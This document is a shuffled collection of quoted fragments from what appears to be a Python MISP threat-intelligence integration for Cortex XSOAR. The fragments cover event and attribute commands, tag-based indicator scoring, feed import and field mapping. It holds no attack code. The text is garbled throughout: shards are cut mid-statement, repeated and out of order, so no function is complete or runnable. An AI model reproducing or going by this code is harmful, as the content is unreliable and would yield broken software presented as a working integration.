args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true' else","GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \"\"\" Gets a","be added to related_events list Args: object_data_dict (dict): Event or attribute dict which","if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port',","err[1].get('message'), 'errors': err[1].get('errors') } for err in error] def dict_to_generic_object_format(args: dict) -> List[dict]:","if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category':","'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return","return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True))","args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit'","nor malicious will be scored by their event's threat level id. In such","'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID',","# type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as","\"\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict, list, str]: \"\"\" Replacing keys","an independence command or as part of another command (create event for example)","object we go over all the tags and search if found_tag is one","the called function\"\"\" if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'), 'type': star.get('type'),","to tag_set_ids all the tags (event ones and the event's attribute tags ones","updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\"## MISP add attribute\\nNew attribute: {value}","= attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data,","outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path =","that: * have tags which configured as malicious will be scored 3 (i.e","Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'),","(both malicious and suspicious) are stronger than events' tags. \"\"\" found_tag = None","'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute","Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'),","BAD if the threat level id is in [1,2,3]. Otherwise, the threat level","have tags which configured as suspicious will be scored 2 (i.e suspicious). *","2), \"limit\", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list()","attributes = demisto_args.get('attributes').replace(\"'\", '\"') try: args = json.loads(attributes) if not isinstance(args, list): args","add the tag. Args: attribute_dict (dict): The dictionary that includes the tag list.","Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \"IP\":","List[dict]: \"\"\" Converts args dict into a list, please see GenericObjectGenerator Class in","search-attributes in order to get the information about the attributes. \"\"\" response_object =","sighting to MISP attribute \"\"\" attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type =","= arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: if","tag ids. Some tags have a field called inherited. When it is set","score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return","is_ip_valid(value): raise DemistoException(f\"Error: The given IP address: {value} is not valid\") if dbot_type","value, this function parses the response. This function goes over all the attributes","search_events_with_scored_tag(object_data_dict, found_tag, event_name): \"\"\" By the given object we go over all the","'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args,","Args: obj: object to add to MISP event_id: ID of event \"\"\" response","\"Please make sure the API key and the URL are correct\" in error:","def search_attributes(demisto_args: dict) -> CommandResults: \"\"\"Execute a MISP search over 'attributes'\"\"\" args =","tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \"\"\"Gets a list ot","depends on the called function\"\"\" if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy':","required=True) limit = arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if","[{url}] is not a valid MISP feed. error: {e}') def add_object(event_id: str, obj:","= False, demisto_args: dict = {}, new_event: MISPEvent = None): \"\"\"Adding attribute to","return event def create_event_command(demisto_args: dict): \"\"\"Creating event in MISP with the given attribute","'Scored Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\"","to the given limit) and by sub-functions calculated the score of the indicator.","default is '0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute level","given UUID belongs to an attribute (True) or event (False). \"\"\" uuid =","domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in ips:","be scored 2 (i.e suspicious). * don't have any tags configured as suspicious","human_readable = f\"## MISP update attribute\\nAttribute: {attribute_uuid} was updated.\\n\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute,","tag) in attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious","Returns: list: list containing dicts that GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8',","import urlparse import urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute","'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') }","will be added to related_events list Args: object_data_dict (dict): Event or attribute dict","= len(response_for_context) md = tableToMarkdown(f\"MISP search-attributes returned {number_of_results} attributes\", response_for_context[:number_of_results], [\"Value\"]) else: response_for_context","response = PYMISP.untag(uuid, tag) if response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command:","Otherwise, the data is attribute's (attribute tags). \"\"\" output = [] tag_set_ids =","outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results","response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID':","[attribute.get('value') for attribute in attributes] def pagination_args_validation(page, limit): if page and page <","outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids =","ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message)","analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info","return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids for tag in","the given object we go over all the tags and search if found_tag","the tag except PyMISPError: raise DemistoException(\"Adding the required tag was failed. Please make","= re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query,","look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96},","add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\"'\", '\"') try:","event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj) def","-> Union[dict, list, str]: \"\"\" Replacing keys from MISP's format to Demisto's (as","response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\"Current page size: {limit}\\n\"","'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif","and then calculates it's dbot score. The score is calculated by the tags","email or ip). malicious_tag_ids (set): Tag ids should be recognised as malicious. suspicious_tag_ids","0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true' else","include the indicator Please see an example for a response in test_data/reputation_command_response.json Please","we go over all the tags and search if found_tag is one of","'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid':","copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list: return None attributes_list = sorted(attributes_list, key=lambda","return CommandResults(readable_output=f\"No attributes found in MISP for the given filters: {args}\") def build_events_search_response(response:","'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for event_object in event['Object'] ] def","found in MISP. please check it once again\") new_event = response[0] # response[0]","create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors'))","suspicious will be scored 2 (i.e suspicious). * don't have any tags configured","pagination_args_validation(page, limit): if page and page < 0: raise DemistoException(\"page should be zero","ip in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ]","'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2, 'Low': 3, 'Unknown':","should be zero or a positive number\") if limit and limit < 0:","to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\"An error was occurred: {json.dumps(response)}\") def test(malicious_tag_ids,","Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict) -> CommandResults:","Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') })","'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID',","{event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id =","event in events_to_human_readable: # removing those fields as they are shared by the","'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen':","demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if","ids should be recognised as malicious. suspicious_tag_ids (set): Tag ids should be recognised","data is attribute's (attribute tags). \"\"\" output = [] tag_set_ids = set() tags_list","will be returned Returns: str: dictionary created for misp to perform complex query","is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious:","for key in EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent'] = [] # there","in error: return_error('Unable to connect to MISP because of a SSLCertVerificationError, ' 'Please","Limits the number of attributes that will be written to the context Returns:","include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit = arg_to_number(demisto_args.get('limit',","Union[dict, list, str]: same object type that got in \"\"\" if isinstance(obj_to_build, list):","CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as e: raise DemistoException(f'URL [{url}]","= f\"## MISP create event\\nNew event with ID: {event_id} has been successfully created.\\n\"","event or attribute. is_attribute (bool): if the given UUID is an attribute's one.","-> list: \"\"\"returns list of attributes' values that match the search query when","given attribute value in MISP and then calculates it's dbot score. The score","= misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events # type: ignore","ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object to replace keys in Returns: Union[dict,","else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No results were found in MISP\")","elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as","f\"Showing page {page}\" md = tableToMarkdown( f\"MISP search-attributes returned {len(response_for_context)} attributes\\n {pagination_message}\", attribute_highlights,","not be decoded, may not a valid JSON\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names):","= event_id if event_id else arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id': event_id}) if event_id else None","or a positive number\") if limit and limit < 0: raise DemistoException(\"limit should","None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None","has been successfully removed from the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID',","get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\" This function searches for all the events that have the","event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ]","arg in demisto_args} # Replacing keys and values from Demisto to Misp's keys","was scored as malicious or suspicious. If no tag was found, then the","contains saved words: 'AND:', 'OR:' and 'NOT:' using ',' as delimiter for parameters","dict): \"\"\"Building url object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \"\"\" url_args =","{number_of_results} attributes\", response_for_context[:number_of_results], [\"Value\"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message","it is set to 1 it says that it is an event's tag.","is correct.') if \"Please make sure the API key and the URL are","def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': # hashFormat will be used only","event = PYMISP.search(eventid=event_id) human_readable = f\"## MISP create event\\nNew event with ID: {event_id}","be used only in output hash_format = get_hash_type(value) if hash_format == 'Unknown': raise","MISP_URL = params.get('url') VERIFY = not params.get('insecure') PROXIES = handle_proxy() # type: ignore","i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key","in args.items()] def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: \"\"\" Args: template_name: template","attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response =","suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = [] for value in","CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No events found in","'Event from XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event def","\"\"\" response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list: return None attributes_list","added to related_events list Args: object_data_dict (dict): Event or attribute dict which includes","if dbot_type == \"IP\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \"DOMAIN\": return Common.Domain(domain=value,","= demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg att_id =","it is an attribute's tag. If the data is event's (is_event_level = true)","it's tags. If so, the event will be added to related_events list Args:","== 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event':","'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\"","includes the tag list. is_event_level (bool): Whether the attribute_dict was received from an","demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids =","field called inherited. When it is set to 1 it says that it","requests.Response]) -> list: \"\"\"returns list of attributes' values that match the search query","as delimiter for parameters and ';' as delimiter for operators. using the operators","-> MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment =","'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS =","suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args))","url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc})","output format. please note: attributes are excluded from search-events output as the information","make sure the UUID exists.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable =","= build_generic_object(template, args) return add_object(event_id, obj) except ValueError as e: raise DemistoException( f'`attribute`","attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable","isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for event in response_object] for","stayed only in the malicious one (as a tag that was configured to","all the attributes that found (after limit the attributes amount to the given","def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key in","outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No results","url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object","return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id')","if dbot_type == \"URL\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \"\"\" Examples are","arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True) pagination_args_validation(page, limit) response","include_correlations: # return full related attributes only if the user wants to get","DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1] if","MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS = {","should be zero or a positive number\") def attribute_response_to_markdown_table(response: dict): attribute_highlights = []","for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \"\"\"returns list","any of the complex operators the original input will be returned Returns: str:","event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully added","url = PREDEFINED_FEEDS[url].get('url') # type: ignore return url def add_events_from_feed(demisto_args: dict, use_ssl: bool,","{ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\" Gets 2 sets which include tag ids. If","[ {'type': sighting.get('type') } for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response])","for the given filters: {args}\") def delete_event(demisto_args: dict): \"\"\" Gets an event id","Trust any certificate option.') if \"NewConnectionError\" in error: return_error('Unable to connect to MISP","related to the tag. \"\"\" scored_events = [] if found_tag: for attribute in","format \"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \"\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str])","indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No results were found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot,","the attributes list by the event ids as the greater event ids are","outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No events found in MISP for the given filters:","response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value =","obj_to_build (Union[dict, list, str]): object to replace keys in Returns: Union[dict, list, str]:","GenericObjectGenerator import copy from pymisp.tools import FileObject from CommonServerPython import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def","The tag that was scored as malicious or suspicious. event_name (str): Name of","args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations' in","called inherited. When it is set to 1 it says that it is","response from the MISP search attribute request found_tag (str): The tag that was","= [ { 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for star in","dicts that GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'},","attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category =","and event tags). Args: value (str): The indicator value (an IP address, email","demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and","(after limit the attributes amount to the given limit) and by sub-functions calculated","return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids for tag in","== 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given url: {value} is","no events should be found. Returns: list includes all the events that were","create_event_command(demisto_args: dict): \"\"\"Creating event in MISP with the given attribute args\"\"\" new_event =","# Disable python warnings warnings.warn = warn ''' GLOBALS/PARAMS ''' params = demisto.params()","is '0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute level if","event['Object'] ] def build_tag_output(given_object): \"\"\"given_object is attribute or event, depends on the called","if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score,","(bool): if the given UUID belongs to an attribute (True) or event (False).","object from keys in event_args events[i] = {key: events[i].get(key) for key in EVENT_FIELDS","if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if","if url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore return","as it is part of the event scope). If the data is attribute's","misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \"\"\" Gets a timestamp from MISP response (1546713469)","= Unknown. note: - In case the same tag appears in both Malicious","should be recognised as suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit (int) :","return None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids =","return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value):","= set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids if tag_id","misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events # type: ignore def","the MISP search attribute request found_tag (str): The tag that was scored as","(if it is set to 0 or not exists) it says that it","MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis","'first_seen' ] event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url) url_obj =","Note: When limits the attributes amount, we sort the attributes list by the","# type: ignore return formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag',","exists in both sets, it will be removed from the suspicious tag ids","= event.get('Tag', []) if event_tags: return [tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event):","'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info':","attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events)","'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp':","misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and","indicator Please see an example for a response in test_data/reputation_command_response.json Please see an","a list, please see GenericObjectGenerator Class in Pymisp. Args: args: dictionary describes MISP","None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not new_event:","= demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type = attribute_type","+= tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot","no tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def","obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args:","add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): \"\"\"Gets an OSINT feed from url and","event_id if event_id else arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id': event_id}) if event_id else None distribution","PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has not connected.') def","'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate',","The parsed outputs to context data (array of attributes). score: the indicator score","event_to_human_readable(response: dict): event_highlights = [] for event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies","'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute","( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" ) MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category',","DemistoException(\"page should be zero or a positive number\") if limit and limit <","if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events):","elif command == 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command ==","event's details. \"\"\" event = 